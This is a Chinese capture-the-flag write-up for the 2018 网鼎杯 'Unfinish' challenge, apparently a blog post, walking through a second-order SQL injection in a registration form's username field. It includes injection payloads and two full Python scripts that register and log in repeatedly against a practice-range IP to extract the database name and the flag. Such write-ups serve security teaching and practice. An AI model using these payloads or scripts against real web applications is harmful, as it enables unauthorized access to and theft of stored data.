[网鼎杯]2018Unfinish

使用ctf在线靶场https://adworld.xctf.org.cn/home/index。

进入靶场,发现是一个登录页面。

使用awvs进行扫描,发现存在login.php和register.php,并且register.php存在sql注入漏洞。

访问一下register.php试试,发现是一个注册页面。

在邮箱、用户名、密码分别尝试sql注入。

发现邮箱后面不允许添加符号'等,密码添加'等会被当做字符传入,而在用户名的地方输入',注册失败,怀疑是在用户名处存在sql注入。

随便注册一个试试。

登陆进去发现,在页面中存在用户名的显示。

在用户名处输入

dhh ' and '1'='1

注册成功,登陆查看用户名为0。基本确定为二次注入,注入点为用户名处。

使用burp判断被过滤的字符。初步爆破发现单引号、逗号、information被过滤。那就开始尝试

注册时,让用户名为select database(),尝试一下。

登陆后发现,用户名直接显示为select database()。那么猜测应该是被单引号或者双引号包裹起来,作为字符串了,尝试两种闭合。

使用1'+2+'1可以注册成功,那就证明单引号没被过滤掉,而且可以看出来后台接收语句应该是select...where username='username'。

开始尝试构建payload。

0'+database()+'0     #结果为0

尝试使用ascii进行转换为10进制尝试,下面是转换database()的第一个字符。

0'+ascii(substr((database()) from 1 for 1))+'0

查看ascii表,发现119为w,也就是当前数据库第一个字母为w。那证明目前的思路是正确的。

写python脚本进行爆破。

python 复制代码
import requests
from bs4 import BeautifulSoup


def jieguo():
    name = ''
    url = 'http://61.147.171.105:58807/'
    url1 = url + 'register.php'
    url2 = url + 'login.php'
    for i in range(1, 100):
        data_register = {"email": f"dhh{i}@163.com",
                         "username": f"0'+ascii(substr((database()) from {i} for 1))+'0;",
                         "password": "123"}
        data_login = {"email": f"dhh{i}@163.com",
                      "password": "123"}
        response_regiseter = requests.post(url1, data=data_register)
        response_login = requests.post(url2, data=data_login)
        bs = BeautifulSoup(response_login.text, 'html.parser')  # bs4解析页面
        username = bs.find('span', class_='user-name')  # 取返回页面数据的span class=user-name属性
        number = username.text  # 取该属性的数字
        name += chr(int(number))
        print(name)


if __name__ == '__main__':
    jieguo()

额...不知道为什么爆破完库名之后还在输出。

目前为止二次注入的目的完成。

因为我们的目的不是为了拿到flag,所以我就上网查询了一下如何拿flag,并且写成payload

0'+ascii(substr((select * from flag) from 1 for 1))+'0

import requests
from bs4 import BeautifulSoup


def jieguo():
    name = ''
    url = 'http://61.147.171.105:58807/'
    url1 = url + 'register.php'
    url2 = url + 'login.php'
    for i in range(1, 100):
        data_register = {"email": f"dh{i}@163.com",
                         "username": f"0'+ascii(substr((select * from flag) from {i} for 1))+'0;",
                         "password": "1"}
        data_login = {"email": f"dh{i}@163.com", "password": "1"}
        response_regiseter = requests.post(url1, data=data_register)
        response_login = requests.post(url2, data=data_login)
        bs = BeautifulSoup(response_login.text, 'html.parser')  # bs4解析页面
        username = bs.find('span', class_='user-name')  # 取返回页面数据的span class=user-name属性
        number = username.text  # 取该属性的数字
        name += chr(int(number))
        print(name)


if __name__ == '__main__':
    jieguo()
相关推荐
shenghuiping200111 天前
SQLmap 自动注入 -02
mysql·web·sql注入·sqlmap
一只淡水鱼661 个月前
【mybatis】详解 # 和 $ 的区别,两者分别适用于哪种场景,使用 $ 不当会造成什么影响
sql·spring·mybatis·sql注入
独行soc1 个月前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍11基于XML的SQL注入(XML-Based SQL Injection)
数据库·安全·web安全·漏洞挖掘·sql注入·hw·xml注入
独行soc1 个月前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍10基于文件操作的SQL注入(File-Based SQL Injection)
数据库·安全·web安全·漏洞挖掘·sql注入·hw
摸鱼也很难2 个月前
小迪安全笔记 第四十四天 sql盲注 && 实战利用sql盲注 进行漏洞的利用
笔记·sql·安全·sql注入·盲注
摸鱼也很难2 个月前
小迪安全第四十二天笔记 简单的mysql注入 && mysql的基础知识 用户管理数据库模式 && mysql 写入与读取 && 跨库查询
笔记·安全·web安全·sql注入·pikachu
风飘红技术中心3 个月前
2024-网鼎杯第二次模拟练习-web02
sql·web·ctf·sql注入·网鼎杯
ccc_9wy3 个月前
sql-labs靶场第十六关测试报告
数据库·sql·web安全·网络安全·sql注入·sqlmap·盲注
ccc_9wy3 个月前
sql-labs靶场第十五关测试报告
数据库·sql·web安全·网络安全·sql注入·sqlmap·布尔盲注
ccc_9wy3 个月前
sql-labs靶场第十四关测试报告
数据库·sql·web安全·网络安全·sql注入·sqlmap·报错注入